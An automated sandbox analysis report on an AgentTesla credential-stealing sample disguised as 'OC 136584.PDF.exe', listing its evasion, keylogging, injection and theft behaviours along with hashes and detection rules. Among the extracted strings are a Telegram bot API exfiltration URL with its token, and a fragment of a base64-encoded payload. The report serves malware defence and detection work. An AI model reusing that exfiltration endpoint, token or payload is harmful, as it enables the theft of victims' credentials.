Play interactive tour

Edit tour

Analysis Report OC 136584.PDF.exe

Overview

General Information

Sample Name:	OC 136584.PDF.exe
Analysis ID:	356562
MD5:	cd02744201573e3ac3c7dfde851005f3
SHA1:	3d39dd04c23ba52ed6f660e51e7510fef647186b
SHA256:	559bf7a1059928bb51ba72f92ff7c8348b219c0bcc92e59376a4d0f553ae3ee7
Tags:	AgentTeslaexe
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Sigma detected: Suspicious Double Extension

Yara detected AgentTesla

Yara detected AntiVM_3

.NET source code contains potential unpacker

.NET source code contains very large array initializations

.NET source code contains very large strings

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Installs a global keyboard hook

Machine Learning detection for sample

Moves itself to temp directory

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Uses an obfuscated file name to hide its real file extension (double extension)

Uses the Telegram API (likely for C&C communication)

Antivirus or Machine Learning detection for unpacked file

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Startup

System is w10x64

OC 136584.PDF.exe (PID: 6736 cmdline: 'C:\Users\user\Desktop\OC 136584.PDF.exe' MD5: CD02744201573E3AC3C7DFDE851005F3)

OC 136584.PDF.exe (PID: 6988 cmdline: C:\Users\user\Desktop\OC 136584.PDF.exe MD5: CD02744201573E3AC3C7DFDE851005F3)

OC 136584.PDF.exe (PID: 6996 cmdline: C:\Users\user\Desktop\OC 136584.PDF.exe MD5: CD02744201573E3AC3C7DFDE851005F3)

OC 136584.PDF.exe (PID: 7124 cmdline: C:\Users\user\Desktop\OC 136584.PDF.exe MD5: CD02744201573E3AC3C7DFDE851005F3)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000006.00000002.498958297.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.266834340.0000000003519000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.262887194.000000000254D000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: OC 136584.PDF.exe PID: 7124	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: OC 136584.PDF.exe PID: 7124	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: OC 136584.PDF.exe PID: 6736	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: OC 136584.PDF.exe PID: 6736	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.OC 136584.PDF.exe.2539e90.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
6.2.OC 136584.PDF.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.OC 136584.PDF.exe.37e4050.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.OC 136584.PDF.exe.36e3da0.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.OC 136584.PDF.exe.37e4050.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.OC 136584.PDF.exe.3686180.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 1 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Double Extension

Show sources

Source: Process started

Author: Florian Roth (rule), @blu3_team (idea): Data: Command: C:\Users\user\Desktop\OC 136584.PDF.exe, CommandLine: C:\Users\user\Desktop\OC 136584.PDF.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\OC 136584.PDF.exe, NewProcessName: C:\Users\user\Desktop\OC 136584.PDF.exe, OriginalFileName: C:\Users\user\Desktop\OC 136584.PDF.exe, ParentCommandLine: 'C:\Users\user\Desktop\OC 136584.PDF.exe' , ParentImage: C:\Users\user\Desktop\OC 136584.PDF.exe, ParentProcessId: 6736, ProcessCommandLine: C:\Users\user\Desktop\OC 136584.PDF.exe, ProcessId: 6988

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: OC 136584.PDF.exe

Avira: detected

Multi AV Scanner detection for submitted file

Show sources

Source: OC 136584.PDF.exe

ReversingLabs: Detection: 20%

Machine Learning detection for sample

Show sources

Source: OC 136584.PDF.exe

Joe Sandbox ML: detected

Source: 6.2.OC 136584.PDF.exe.400000.0.unpack

Avira: Label: TR/Spy.Gen8

Compliance:

Uses 32bit PE files

Show sources

Source: OC 136584.PDF.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Uses secure TLS version for HTTPS connections

Show sources

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49750 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: OC 136584.PDF.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Software Vulnerabilities:

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h		0_2_06AAFDE8
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h		0_2_06AAFD8B

Networking:

Uses the Telegram API (likely for C&C communication)

Show sources

Source: unknown

DNS query: name: api.telegram.org

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS traffic detected: queries for: api.telegram.org

Source: OC 136584.PDF.exe, 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: OC 136584.PDF.exe, 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp	String found in binary or memory: http://DXpmYY.com
Source: OC 136584.PDF.exe, 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	String found in binary or memory: http://api.telegram.org
Source: OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	String found in binary or memory: http://certificates.godaddy.com/repository/0
Source: OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	String found in binary or memory: http://certificates.godaddy.com/repository/gdig2.crt0
Source: OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	String found in binary or memory: http://certs.godaddy.com/repository/1301
Source: OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	String found in binary or memory: http://crl.godaddy.com/gdig2s1-1823.crl0
Source: OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	String found in binary or memory: http://crl.godaddy.com/gdroot-g2.crl0F
Source: OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	String found in binary or memory: http://crl.godaddy.com/gdroot.crl0F
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: OC 136584.PDF.exe, 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp	String found in binary or memory: http://mIjlctNEsyMKGExgO3.org
Source: OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.godaddy.com/0
Source: OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.godaddy.com/02
Source: OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.godaddy.com/05
Source: OC 136584.PDF.exe, 00000006.00000002.510324365.0000000002EBA000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: OC 136584.PDF.exe, 00000006.00000002.510324365.0000000002EBA000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org
Source: OC 136584.PDF.exe, 00000000.00000002.266834340.0000000003519000.00000004.00000001.sdmp, OC 136584.PDF.exe, 00000006.00000002.498958297.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot1683948232:AAHc7uMmgJY5DzV0V0BhJXUizPMr1l1dubE/
Source: OC 136584.PDF.exe, 00000006.00000002.510324365.0000000002EBA000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot1683948232:AAHc7uMmgJY5DzV0V0BhJXUizPMr1l1dubE/sendDocument
Source: OC 136584.PDF.exe, 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot1683948232:AAHc7uMmgJY5DzV0V0BhJXUizPMr1l1dubE/sendDocumentdocument-----
Source: OC 136584.PDF.exe, 00000006.00000002.510324365.0000000002EBA000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org4Zk
Source: OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	String found in binary or memory: https://certs.godaddy.com/repository/0
Source: OC 136584.PDF.exe, 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css
Source: OC 136584.PDF.exe, 00000000.00000002.266834340.0000000003519000.00000004.00000001.sdmp, OC 136584.PDF.exe, 00000006.00000002.498958297.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: OC 136584.PDF.exe, 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49750 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Installs a global keyboard hook

Show sources

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\OC 136584.PDF.exe

Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 6.2.OC 136584.PDF.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007b4684B1B8u002dC958u002d4048u002d8A08u002d25BA90DDBDB5u007d/D349AD1Eu002d1EF9u002d4CDCu002d922Eu002dBCA1EB563A87.cs

Large array initialization: .cctor: array initializer size 12004

.NET source code contains very large strings

Show sources

Source: OC 136584.PDF.exe, frmlogin.cs	Long String: Length: 13656
Source: 0.2.OC 136584.PDF.exe.140000.0.unpack, frmlogin.cs	Long String: Length: 13656
Source: 0.0.OC 136584.PDF.exe.140000.0.unpack, frmlogin.cs	Long String: Length: 13656
Source: 3.2.OC 136584.PDF.exe.190000.0.unpack, frmlogin.cs	Long String: Length: 13656
Source: 3.0.OC 136584.PDF.exe.190000.0.unpack, frmlogin.cs	Long String: Length: 13656
Source: 4.0.OC 136584.PDF.exe.10000.0.unpack, frmlogin.cs	Long String: Length: 13656
Source: 4.2.OC 136584.PDF.exe.10000.0.unpack, frmlogin.cs	Long String: Length: 13656
Source: 6.0.OC 136584.PDF.exe.5f0000.0.unpack, frmlogin.cs	Long String: Length: 13656
Source: 6.2.OC 136584.PDF.exe.5f0000.1.unpack, frmlogin.cs	Long String: Length: 13656

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: OC 136584.PDF.exe

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_00149526	0_2_00149526
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_00AAC0D4	0_2_00AAC0D4
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_00AAE5A0	0_2_00AAE5A0
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_00AAE591	0_2_00AAE591
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA0040	0_2_06AA0040
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA8EF0	0_2_06AA8EF0
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AAEA30	0_2_06AAEA30
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA2E8A	0_2_06AA2E8A
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA2E98	0_2_06AA2E98
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA8EE0	0_2_06AA8EE0
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA2C39	0_2_06AA2C39
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA2C48	0_2_06AA2C48
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA0D90	0_2_06AA0D90
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AAD9B8	0_2_06AAD9B8
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AAD9C8	0_2_06AAD9C8
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 0_2_06AA693D	0_2_06AA693D
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 3_2_00199526	3_2_00199526
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 4_2_00019526	4_2_00019526
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_005F9526	6_2_005F9526
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_007EB0D0	6_2_007EB0D0
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_007E8498	6_2_007E8498
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_007E3958	6_2_007E3958
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_007E5D88	6_2_007E5D88
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_007EE588	6_2_007EE588
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_007E27F8	6_2_007E27F8
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00BB47A0	6_2_00BB47A0
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00BB3CCC	6_2_00BB3CCC
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00BB4790	6_2_00BB4790
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00BB5470	6_2_00BB5470
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00BBD841	6_2_00BBD841
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E0E220	6_2_00E0E220
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E06450	6_2_00E06450
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E05D18	6_2_00E05D18
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E056F0	6_2_00E056F0
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E0D8C0	6_2_00E0D8C0
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E0C2F5	6_2_00E0C2F5
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E821B0	6_2_00E821B0
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E83250	6_2_00E83250
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E8B728	6_2_00E8B728
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E86C07	6_2_00E86C07
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E846C0	6_2_00E846C0
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E8324F	6_2_00E8324F
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E8BF6F	6_2_00E8BF6F
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E8BF70	6_2_00E8BF70
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Code function: 6_2_00E80470	6_2_00E80470

Source: OC 136584.PDF.exe	Binary or memory string: OriginalFilename vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe, 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameAsyncState.dllF vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe, 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameRGPorLNwUYdycrXetcefyHvNETDMsxfMMCuNPPo.exe4 vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe, 00000000.00000002.266834340.0000000003519000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameLegacyPathHandling.dllN vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe, 00000000.00000002.260673740.0000000000142000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameRSAOAEPKeyExchangeDeformatter.exe4 vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe, 00000000.00000002.271456934.0000000006A80000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe	Binary or memory string: OriginalFilename vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe, 00000003.00000000.256936849.0000000000192000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameRSAOAEPKeyExchangeDeformatter.exe4 vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe	Binary or memory string: OriginalFilename vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe, 00000004.00000000.258007584.0000000000012000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameRSAOAEPKeyExchangeDeformatter.exe4 vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe	Binary or memory string: OriginalFilename vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe, 00000006.00000000.258916672.00000000005F2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameRSAOAEPKeyExchangeDeformatter.exe4 vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe, 00000006.00000002.503516040.0000000000EC0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamewshom.ocx vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe, 00000006.00000002.500064293.0000000000AF8000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe, 00000006.00000002.498958297.0000000000402000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameRGPorLNwUYdycrXetcefyHvNETDMsxfMMCuNPPo.exe4 vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe, 00000006.00000002.503278642.0000000000E10000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs OC 136584.PDF.exe
Source: OC 136584.PDF.exe	Binary or memory string: OriginalFilenameRSAOAEPKeyExchangeDeformatter.exe4 vs OC 136584.PDF.exe

Source: OC 136584.PDF.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: OC 136584.PDF.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 6.2.OC 136584.PDF.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 6.2.OC 136584.PDF.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: OC 136584.PDF.exe, frmlogin.cs	Base64 encoded string: 'GIdDNNZNNNNRNNNN//8NNYtNNNNNNNNNDNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNtNNNNN4sht4NgNaAVotOGZ0uITucplOjpz9apzSgVTAuoz5iqPOvMFOlqJ4tnJ4tER9GVT1iMTHhQD0XWNNNNNNNNNODEDNNGNRQNViu868NNNNNNNNNNBNNNvRYNINNNPNNNNNTNNNNNNNNlw8NNNNtNNNNDNNNNNNNRDNtNNNNNtNNONNNNNNNNNNRNNNNNNNNNNPNNNNNNtNNNNNNNNZNDVHNNONNNONNNNNNRNNNRNNNNNNNNONNNNNNNNNNNNNNNUt/NNOCNNNNNRNNNBDQNNNNNNNNNNNNNNNNNNNNNNNNNTNNNNjNNNOpCjNNUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNVNNNPNNNNNNNNNNNNNNNPPNNNRtNNNNNNNNNNNNNNP50MKu0NNNN0O8NNNNtNNNNVNNNNNVNNNNNNNNNNNNNNNNNNPNNNTNhpaAlLjNNNBDQNNNNDNNNNNDNNNNvNNNNNNNNNNNNNNNNNNONNNONYaWyoT9wNNNZNNNNNTNNNNNPNNNNWtNNNNNNNNNNNNNNNNNNDNNNDtNNNNNNNNNNNNNNNNNNNNPfCjNNNNNNNRtNNNNPNNHNhPHNNBjLNNNQNNNNNNNNNXD+NNP4NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNO4PXOLNNNbdWtNPXOpNNNbNXdMmTNNNPbNONNNRpkxNNNdNNtNNOUZnNNNXtNZNNNEmTjNNPbNRNNNRXuZjNDNDNNNNNDNNRDO+NDNNOT8pNNNXPvfNOvbGZNRNRNNNNNVNNORNstVNNNEiUDNNPtbeNNLdRmNONONNNNNQNNNENU4QNNNRok4NNNbXXjNTXuZjNDNDNNNNONNNRDO+ONNNOT8sNNNXPvfNOvbGZNVNCNNNNNHNNORNstHNNNDHXPNNNNbYOljuptRNNUQDODNNNvtuNNNXolVNNNcmVjNNPtjVtNHNNNDNNU4SNNNRPvfNOvbGZNRNPjNNNNLNNORNstLNNNDXXjNTXvVNNbNTNNNRXyMmQNNNOvtxNNNXqNLNNNXNOjNNOPbrNvtyNNNXXtNNRmNONNfNNNNUNNNENU4UNNNRPvfNOvbNRmNONNfNNNNUNNNENPtANNNTPvfNOvc+pwfNNUPNPNNNOUV7NNOjtNxNNNElBjNNpVNXNNNRXxbNNvtzNNNXNNZROFtENNNTNPbNNOZjONO0NNNNPNNNRDOmWjNNPtbTVYvPNDNtXWbONT8bNNNXXPxNNNbNNvtINNNTOPtHNNNTPjpbRjNNOtZbSDNNOvtFNNNTQNtbXtNNPt0WolfNNNbqzuZRRDEiYNNNPuhnRjHEOKV9NNOjTOvAStNNNFtgNNNXWuLbYtNNPtNdRmNSNWpNNNNWNNNENPtiNNNXN28jNNNXPjVPwzxK2cRspTRZNb5cS9LK2usJwF8NNNRANb5cS9bGOORRRjHJRjLeBtxEOtVEOcRVLDpEO5SugWjEOjAiZDNNPusn/tRGPORVRjxEPFjTSuZUNPfVNORUS9LGOjNEOusJRjLEOuRSZpNWNb5cTAbK1usnS9nAYjNNNFtlNNNXqNHNNOfXXjNTXtNGZNHNctNNNNbNNORNStfPomZNNNbGOkVUXQDNNNbZPNwLTgtAPEsnS9nAYjNNNEZRPOsnRjtJRjxeDjtK2uZXSuZYXl0PRDxEP281NNNXRjjFQPt2NNNXXQpNNNbJRDDUTvt4NNNXNNpn1tfEPksJRjfEPkRXZp0EPEsJRjxEPERVZopEOOLbBDNNPuZSRDHK2usJwF8NNNRGOuRRTuRTSuRTwzxbBNNNPtNEOtbeNNLdNNNGZNVNXNNNNNfNNORNN3WYNNOjXQbNNNbbBjNNPaZwNNNXPjpPomjNNNc0VtNNNDbeNNLdRmNRNRbNNNNZNNNENNWiZDNNPuuopm0NNNbYN